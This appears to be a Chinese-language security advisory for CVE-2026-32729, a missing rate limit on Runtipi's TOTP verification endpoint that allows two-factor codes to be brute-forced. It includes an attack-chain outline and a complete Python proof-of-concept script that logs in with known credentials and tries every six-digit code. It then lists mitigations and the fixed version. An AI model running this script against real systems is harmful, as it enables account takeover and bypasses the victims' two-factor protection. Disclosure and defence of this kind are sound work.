IPBUF安全漏洞报告
English
CVE-2026-32729 CVSS 8.1 高危

CVE-2026-32729 Runtipi TOTP双因素认证暴力破解漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32729
漏洞类型
暴力破解/认证绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Runtipi

相关标签

CVE-2026-32729暴力破解认证绕过双因素认证绕过TOTPRuntipi速率限制缺失高危漏洞身份认证漏洞Web应用安全

漏洞概述

Runtipi是一款个人家庭服务器编排工具,存在严重的TOTP双因素认证暴力破解漏洞。漏洞位于/api/auth/verify-totp端点,该端点未实施任何速率限制、尝试计数或账户锁定机制。攻击者在获取用户有效凭证后(通过钓鱼、凭证填充或数据泄露),可对6位TOTP验证码进行暴力破解,完全绕过双因素认证。由于TOTP验证会话默认缓存TTL为24小时,攻击者拥有充足的时间窗口遍历完整的100万种可能组合(000000-999999)。在约500请求/秒的实际请求速率下,最坏情况下攻击可在约33分钟内完成。该漏洞已在4.8.1版本中修复。

技术细节

漏洞根源在于Runtipi的TOTP验证端点缺少关键的安全防护机制:1) 无速率限制:攻击者可无限制地发送验证请求;2) 无尝试计数:系统不记录失败的验证尝试次数;3) 无账户锁定:即使多次失败也不会临时锁定账户;4) 会话有效期过长:验证会话缓存TTL设置为24小时,远超合理范围。攻击者利用这一漏洞的原理是:6位TOTP验证码仅有100万种可能组合,在足够长的验证窗口期内,攻击者可通过自动化工具遍历所有可能的验证码。以500 req/s的速率计算,1000000÷500÷60≈33分钟即可穷举完毕。攻击成功后,攻击者获得完整的双因素认证绕过,可使用受害者账户的所有功能。

攻击链分析

STEP 1
步骤1: 获取用户凭证
攻击者通过钓鱼攻击、凭证填充攻击或数据泄露等方式获取目标用户的有效登录凭证(用户名和密码)
STEP 2
步骤2: 登录Runtipi账户
使用获取的凭证登录Runtipi系统,此时系统要求输入TOTP双因素验证码
STEP 3
步骤3: 识别无速率限制的验证端点
攻击者识别到/api/auth/verify-totp端点未实施任何速率限制、尝试计数或账户锁定机制
STEP 4
步骤4: 自动化暴力破解TOTP
使用自动化工具对6位TOTP验证码进行暴力破解,以约500请求/秒的速率遍历100万种可能组合(000000-999999)
STEP 5
步骤5: 绕过双因素认证
在约33分钟内穷举出正确的TOTP验证码,成功绕过双因素认证,获得完整的账户访问权限
STEP 6
步骤6: 持久化控制
攻击者利用24小时的验证会话缓存TTL,在足够长的时间窗口内完成攻击并建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-32729 PoC - Runtipi TOTP Brute Force Attack Note: This PoC is for educational and authorized security testing purposes only. """ import requests import itertools import time from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "https://your-runtipi-instance.com/api/auth/verify-totp" USERNAME = "[email protected]" PASSWORD = "user_password" TARGET_TOTP = "123456" # Replace with target user's valid TOTP def login(username, password): """Authenticate and get session token""" session = requests.Session() login_data = {"email": username, "password": password} response = session.post(f"{TARGET_URL.replace('/verify-totp', '/login')}", json=login_data) if response.status_code == 200: return session, response.json() return None, None def try_totp(session, totp_code): """Attempt TOTP verification""" try: response = session.post(TARGET_URL, json={"code": totp_code}) if response.status_code == 200: result = response.json() if result.get("success") or result.get("verified"): return True, totp_code except requests.RequestException: pass return False, None def brute_force_totp(session, max_attempts=1000000, rate=500): """ Brute force TOTP code With rate limiting at ~500 req/s, full keyspace takes ~33 minutes """ print(f"[*] Starting TOTP brute force attack against {TARGET_URL}") print(f"[*] Target: {USERNAME}") print(f"[*] Rate: ~{rate} req/s, Estimated time: ~{1000000//rate//60} minutes") start_time = time.time() attempt = 0 with ThreadPoolExecutor(max_workers=rate) as executor: futures = {} for i in range(0, min(max_attempts, 1000000), 1): totp = f"{i:06d}" futures[executor.submit(try_totp, session, totp)] = totp if len(futures) >= rate: for future in as_completed(list(futures.keys())): attempt += 1 success, code = future.result() if success: elapsed = time.time() - start_time print(f"[+] SUCCESS! TOTP code found: {code}") print(f"[+] Attempts: {attempt}, Time: {elapsed:.2f}s") return code if attempt % 10000 == 0: print(f"[*] Progress: {attempt}/{max_attempts} attempts ({attempt/max_attempts*100:.2f}%)") futures = {} print(f"[-] TOTP code not found within {max_attempts} attempts") return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-32729 - Runtipi TOTP Brute Force PoC") print("WARNING: For authorized security testing only!") print("=" * 60) # Step 1: Login with valid credentials print("\n[1] Authenticating with valid credentials...") session, login_result = login(USERNAME, PASSWORD) if not session: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Brute force TOTP print("\n[2] Starting TOTP brute force...") result = brute_force_totp(session) if result: print(f"\n[!] 2FA BYPASSED - Valid TOTP: {result}") else: print("\n[-] Attack failed - TOTP not found")

影响范围

Runtipi < 4.8.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 启用Runtipi的反向代理(如Nginx)并配置速率限制规则,限制/api/auth/verify-totp端点的请求频率;2) 使用防火墙规则限制来自单一IP的请求速率;3) 监控异常的TOTP验证失败行为并设置告警;4) 考虑暂时禁用TOTP功能,改用其他认证方式;5) 加强账户凭证管理,定期更换密码,避免凭证泄露;6) 实施IP黑名单机制,阻止已知的恶意IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表